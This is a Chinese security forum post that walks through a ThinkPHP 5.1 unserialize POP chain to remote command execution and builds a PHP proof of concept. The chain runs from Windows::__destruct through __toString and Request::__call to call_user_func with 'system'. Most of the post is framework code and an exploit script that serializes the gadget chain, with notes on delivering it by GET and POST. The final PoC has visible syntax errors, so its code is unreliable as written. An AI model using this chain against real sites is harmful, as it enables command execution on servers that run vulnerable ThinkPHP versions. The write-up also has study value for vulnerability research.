安全矩阵

 找回密码
 立即注册
搜索
查看: 863|回复: 0

Thinkphp5.1RCE漏洞及POC编写

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-9-17 20:10:12 | 显示全部楼层 |阅读模式
本帖最后由 ivi 于 2023-9-17 20:10 编辑

衡阳信安 2023-09-17 00:01 发表于湖南
看见很多的文章在复现反序列化漏洞的时候,都没有对POC的构造有很好的解析,感觉一直在跟进,然后大体写一下跟进过程中的利用点,然后最后给出POC。跨度有点大,跟不太上,于是自己弄明白打算写一篇比较详细的
构建入口:
  • 首先我们先来构造一个漏洞入口:在控制器index中写入一个get传参,并将其反序列化。
  • 基本上算搭建完自己博客,就着tp5顺便来自己审一审pop链,看看自己能不能写出来:
  • 首先我们先来构造一个漏洞入口:在控制器index中写入一个get传参,并将其反序列化。

  1. public function index()
  2.     {
  3.         $c = unserialize($_GET['c']);
  4.         var_dump($c);
  5.         return 'Welcome to ThinkPHP!';
  6.         //fetch方法并不是controller命名空间下的方法,而是think命名空间下面的方法,所以我们要先引入think命名空间,才能够调用fetch方法;
  7.         return $this->fetch('index');//这个地方模板文件是对应的文件名,不带文件后缀。

  8.     }
复制代码



追踪链:
然后我们全局搜索__destruct(),找到这个位置:thinkphp/library/think/process/pipes/Windows.php,

  1. namespace think\process\pipes;

  2. use think\Process;

  3. class Windows extends Pipes{
  4.     public function __destruct()
  5.     {
  6.         $this->close();
  7.         $this->removeFiles();
  8.     }
  9. }
复制代码


我们跟进removeFiles(),
  1. private function removeFiles()
  2.     {
  3.         foreach ($this->files as $filename) {
  4.             if (file_exists($filename)) {
  5.                 @unlink($filename);
  6.             }
  7.         }
  8.         $this->files = [];
  9.     }
复制代码


跟进file_exists,我们可以发现这个函数将对象解析为字符串,这个地方就可以触发tostring方法,全局搜索tostring(),在Conversion类里面找到这个方法.
关联类:
然后我们来梳理一下如何在POC中将两个类连接起来的方法:
  • 我们需要从windows类中转到Conversion类里面去:这里将两个类连接起来,需要中间的一些桥梁,联想到了继承,use包含。
  • 我们全局搜索一下Conversion,看看哪一个类包含了Conversion



  • 因为Model是一个抽象类,在php中,抽象类是这样定义的:
    PHP抽象类应用要点:
    1.定义一些方法,子类必须完全实现这个抽象中所有的方法
    2.不能从抽象类创建对象,它的意义在于被扩展
    3.抽象类通常具有抽象方法,方法中没有大括号
    PHP抽象类应用重点
    1.抽象方法不必实现具体的功能,由子类来完成
    2.在子类实现抽象类的方法时,其子类的可见性必须大于或等于抽象方法的定义
    3.抽象类的方法可以有参数,也可以为空
    4.如果抽象方法有参数,那么子类的实现也必须有相同的参数个数
  • 因为抽象类我们无法直接创建对象,所有我们还需要找一个能够继承Model类的类,来进行实例化对象,查找到Pivot类



  • 所以我们就需要找到包含Conversion的类,来与Conversion建立关系,Pivot类又继承了Model类,所以我们就可以让$files实例化为Pivot类,通过Pivot关联到Model,然后Model又包含了Conversion,触发Conversion中的__toString方法。

  1. namespace think;

  2. class Collection
  3. {
  4.     public function __toString()
  5.         {
  6.             return $this->toJson();
  7.         }
  8. }
复制代码



追踪链:
跟进Json方法:
  1. public function toJson($options = JSON_UNESCAPED_UNICODE)
  2.     {
  3.         return json_encode($this->toArray(), $options);
  4.     }
复制代码
跟进toArray(),仔细分析一下这一些代码:
  1. // 追加属性(必须定义获取器)
  2.         if (!empty($this->append)) {
  3.             foreach ($this->append as $key => $name) {
  4.                 if (is_array($name)) {
  5.                     // 追加关联对象属性
  6.                     $relation = $this->getRelation($key);

  7.                     if (!$relation) {
  8.                         $relation = $this->getAttr($key);
  9.                         if ($relation) {
  10.                             $relation->visible($name);
  11.                         }
  12.                     }
复制代码
  • 第一个if函数检测append是否为空,所以我们需要Conversion中定义一个append成员属性,这样才能进入,然后对append以提取键值对的形式进行遍历,所以我们在构造poc的时候需要以键值对的形式进行构造,同时name要为一个数组,才能进入$relation = $this->getRelation($key);

我们跟进一下getRelation():
  1. public function getRelation($name = null)
  2.     {
  3.         if (is_null($name)) {//$name对应的是传过来的键,所以我们的poc不能为空
  4.             return $this->relation;
  5.         } elseif (array_key_exists($name, $this->relation)) {//传过来的键,不能在$this->relation数组中
  6.             return $this->relation[$name];
  7.         }
  8.         return;
  9.     }
复制代码

可以看到,这个函数,有三个分支(return),我们需要让代码往下走,所以if (!$relation)要为真,所以relation的返回值要为null,及getRelation函数返回值为return;然后我们继续往下走
  1. if (!$relation) {
  2.     $relation = $this->getAttr($key);
  3.     if ($relation) {
  4.         $relation->visible([$attr]);
  5.     }
  6. }
复制代码

这里继续对relation赋值,跟进getAttr:
  1. public function getAttr($name, &$item = null)
  2. {
  3.     try {
  4.         $notFound = false;
  5.         $value    = $this->getData($name);//$key
  6.     } catch (InvalidArgumentException $e) {
  7.         $notFound = true;
  8.         $value    = null;
  9.     }

  10.     // 检测属性获取器
  11.     $fieldName = Loader::parseName($name);
  12.     $method    = 'get' . Loader::parseName($name, 1) . 'Attr';

  13.     if (isset($this->withAttr[$fieldName])) {
  14.         if ($notFound && $relation = $this->isRelationAttr($name)) {
  15.             $modelRelation = $this->$relation();
  16.             $value         = $this->getRelationData($modelRelation);
  17.         }

  18.         $closure = $this->withAttr[$fieldName];
  19.         $value   = $closure($value, $this->data);
  20.     } elseif (method_exists($this, $method)) {
  21.         if ($notFound && $relation = $this->isRelationAttr($name)) {
  22.             $modelRelation = $this->$relation();
  23.             $value         = $this->getRelationData($modelRelation);
  24.         }

  25.         $value = $this->$method($value, $this->data);
  26.     } elseif (isset($this->type[$name])) {
  27.         // 类型转换
  28.         $value = $this->readTransform($value, $this->type[$name]);
  29.     } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
  30.         if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
  31.             'datetime',
  32.             'date',
  33.             'timestamp',
  34.         ])) {
  35.             $value = $this->formatDateTime($this->dateFormat, $value);
  36.         } else {
  37.             $value = $this->formatDateTime($this->dateFormat, $value, true);
  38.         }
  39.     } elseif ($notFound) {
  40.         $value = $this->getRelationAttribute($name, $item);
  41.     }

  42.     return $value;
  43. }
复制代码

我们先关注函数最后返回的是什么值,这里返回了$value,那我们就重点关注$value的走向,先跟进第五行的getData函数:
  1. public function getData($name = null)
  2. {
  3.     if (is_null($name)) {
  4.         return $this->data;
  5.     } elseif (array_key_exists($name, $this->data)) {
  6.         return $this->data[$name];
  7.     } elseif (array_key_exists($name, $this->relation)) {
  8.         return $this->relation[$name];
  9.     }
  10.     throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
  11. }
复制代码

  • 第一个if用不了:传过来的$name其实就是对应的值,不为空
  • 第三个if用不了: relation对应的是空
  • 第二个if:所以我们就要想办法构造一个data,来return给value,所以我们在poc中构造的时候需要构造一个data,同时是包含传过来对应值的键值对形式

键值对关系:
所以我们现在来梳理一下键值对的关系:
append(键值对)->foreach对应key=>name(数组)->relation->getRelation($name对应key)->return relation为空->getAttr($name对应key)->getData($name对应key)->data[$name]
所以:
  1. if (!$relation) {
  2.     $relation = $this->getAttr($key);
  3.     if ($relation) {
  4.         $relation->visible($name);
  5.     }
  6. }
复制代码

$relation返回的值对应的是$relation=data[$name]
追踪利用可控参数:
在我们调用方法的时候,我们要选择带有实际参数的方法,这样我们才能够控制
  • 然后我们再回到conversion控制器中:
  • 这时候我们就可以利用这个语句来触发__call()方法了,我们将data[$name]赋值为一个没有visible方法的对象,并触发对象中的call方法:我们找到了Request类中的call方法



  1. public function __call($method, $args)
  2. {
  3.     if (array_key_exists($method, $this->hook)) {
  4.         array_unshift($args, $this);
  5.         return call_user_func_array($this->hook[$method], $args);
  6.     }

  7.     throw new Exception('method not exists:' . static::class . '->' . $method);
  8. }
复制代码


  • 这里我们的method对应的是不存在的方法visible,args对应的是name的值,进入if语句中,我们知道我们还要定义一个hook的值,其中还要包括键名visible。
  • 但是下面有一个array_unshift函数,会对我们args的变量值进行改变,所以我们无法直接通过calluserfunc函数进行rce。
    array_unshift: 在数组开头插入一个或多个单元
  • 而是将hook[$method]指向一个函数,然后再从我们指向的函数中寻找危险函数,这样hook就做了一个桥梁的作用
  • 我们查找call_user_func()危险函数,看看有哪个函数中包含这个危险函数我们能进行利用。



  • 但是filterValue接收的参数args依然是被改变了的,所以我们就不能直接调用filterValue函数,而是在另外一个我们可以控制参数的函数上,调用filterValue,从而达到我们危险函数对应的两个变量都可控的目的。
  • 我们寻找能调用filterValue的地方:



但是这里input是形参,不可控,所以我们继续寻找调用input方法的位置:




paramname也是形参,我们再找调用param方法的地方

  • 然后我们找到了isAjax()方法,同时我们要构造一个config变量。这样我们的函数利用链就结束了,起点是isAjax函数,最后利用点是filterValue()方法,主要控制的参数就是filter和data。

参数设置:
接下来我们就要设置我们对应的危险函数和value的值了:调用isAjax,设置一个var_ajax的值对应param中的$name值,所以input中$name可控,同时这里还能获取到get传参过来的值赋值给$this->param。
所以input中对应的可控参数就是data=[]->$this->param,$name=config['var_ajax']=null,这里可以直接跳过input里面对$name的判断,不用跑getData函数对data的处理了:
  1. if ('' != $name) {
  2.     // 解析name
  3.     if (strpos($name, '/')) {
  4.         list($name, $type) = explode('/', $name);
  5.     }
  6.     $data = $this->getData($data, $name);
  7.     var_dump($data);
  8.     if (is_null($data)) {
  9.         return $default;
  10.     }

  11.     if (is_object($data)) {
  12.         return $data;
  13.     }
  14. }
复制代码

  • 但是如果我们name对应有值的话我们就会进入getData,最后执行不了命令;
  • 我们在input函数中,dump一下$name发现是null;

  • 这里强调一下,input利用的fliterValue方法是if语句内的,而不是else语句里面的方法:

  1. if (is_array($data)) {
  2.     var_dump($data);
  3.     array_walk_recursive($data, [$this, 'filterValue'], $filter);
  4.     if (version_compare(PHP_VERSION, '7.1.0', '<')) {
  5.         // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
  6.         $this->arrayReset($data);
  7.     }
复制代码






这样我们的filterValue中利用的危险函数data和filter就都可控了.
poc构造:
看着网上的poc自己理解着敲了一遍:
先写链子的入口,跳转到romoveFile(),使用foreach(所以files要定义为一个数组)通过files跳转到Conversion里面的toString()方法,所以这里我们首先要做的就是将files把Conversion和Windows这两个类联系起来:
  1. <?php
  2. namespace think\process\pipes;
  3. //下面两个引用是用来关联的,实例化Pivot时需要使用命名空间,然后Pivot中又通过引用Model类命名空间,引用Conversion
  4. use think\model\Pivot;
  5. use think\model\concern\Conversion;
  6. //触发destruct以后调用removeFiles()
  7. class Windows extends Pipes
  8. {
  9.     private files=[];
  10.     public function __construct{
  11.         $this->files=[new Pivot()];
  12.     }
  13. }
复制代码

我们需要将windows和Convertion两个连接起来,其中Model中使用了Conversion的命名空间,Pivot继承了Model,所以我们就可以通过Pivot()联系Conversion;
  1. //关联到Pivot以后再关联Model
  2. namespace think\model;
  3. use think\Model;
  4. class Pivot extends Model
  5. {
  6. }
  7. //在Model中引用了Conversion命名空间,所以Conversion里面的值我们要在Model里面进行设置。
  8. namespace think;
  9. use InvalidArgumentException;
  10. use think\db\Query;
  11. abstract class Model
  12. {
  13.     protected $append=[];
  14.     private $data=[];
  15.     //这里是toArray()里面的以$key为中心的操作
  16.     function __construct{
  17.         $this->append=["Ic4_F1ame"=>["1"]];
  18.          $this->data=["Ic4_F1ame"=>new Request()];
  19.     }
  20. }
复制代码
进入Request()中触发__call方法,我们需要用hook这个桥梁联系起来其他的函数,call传过来的两个参数是visible,和$name,这个位置需要用hook[$method]与我们上面分析的isAjax()连接起来,注意config这里我们是因为调用实参才使用的,并不需要我们进行传什么值,设置为空即可,否则后面代码中的$data不能够成功传入我们的危险函数当中。
  1. namespace think
  2. use think\facade\Cookie;
  3. use think\facade\Session;
  4. class Request{
  5.     protected $hook = [];
  6.     protected $filter = "system";
  7.     protected $config = ['var_ajax'=>'',];
  8.     function __construct(){
  9.         $this->hook = ['visible'=>[$this,"isAjax"]];
  10.         $this->$filter = "system";
  11.         $this->$config = ['var_ajax'=>'',];
  12.     }
  13. }
复制代码
最后我们序列化windows,以它为起点生成序列化字符串:
  1. use think\process\pipes\Windows;
  2. echo urlencode(serialize(new Windows()));
复制代码

合并一下:
  1. <?php
  2. namespace think\process\pipes;
  3. //下面两个引用是用来关联的,实例化Pivot时需要使用命名空间,然后Pivot中又通过引用Model类命名空间,引用Conversion
  4. use think\model\Pivot;
  5. use think\model\concern\Conversion;
  6. //触发destruct以后调用removeFiles()
  7. class Windows extends Pipes
  8. {
  9.     private files=[];
  10.     public function __construct{
  11.         $this->files=[new Pivot()];
  12.     }
  13. }
  14. //关联到Pivot以后再关联Model
  15. namespace think\model;
  16. use think\Model;
  17. class Pivot extends Model
  18. {
  19. }
  20. //在Model中引用了Conversion命名空间,所以Conversion里面的值我们要在Model里面进行设置。
  21. namespace think;
  22. use InvalidArgumentException;
  23. use think\db\Query;
  24. abstract class Model
  25. {
  26.     protected $append=[];
  27.     private $data=[];
  28.     //这里是toArray()里面的以$key为中心的操作
  29.     function __construct{
  30.         $this->append=["Ic4_F1ame"=>["1"]];
  31.          $this->data=["Ic4_F1ame"=>new Request()];
  32.     }
  33. }
  34. namespace think
  35. use think\facade\Cookie;
  36. use think\facade\Session;
  37. class Request{
  38.     protected $hook = [];
  39.     protected $filter = "system";
  40.     protected $config = ['var_ajax'=>'',];
  41.     function __construct(){
  42.         $this->hook = ['visible'=>[$this,"isAjax"]];
  43.         $this->$filter = "system";
  44.         $this->$config = ['var_ajax'=>'',];
  45.     }
  46. }
  47. use think\process\pipes\Windows;
  48. echo urlencode(serialize(new Windows()));
复制代码

最后payload是get和post传参得到结果:
-get传参给$param,以$data传递给filterFile,最后作为call_user_func的参数
-post是序列化字符串,其中的filter是我们可控的,最后作为call_user_func的回调函数,执行我们的危险命令。






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:30 , Processed in 0.014599 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表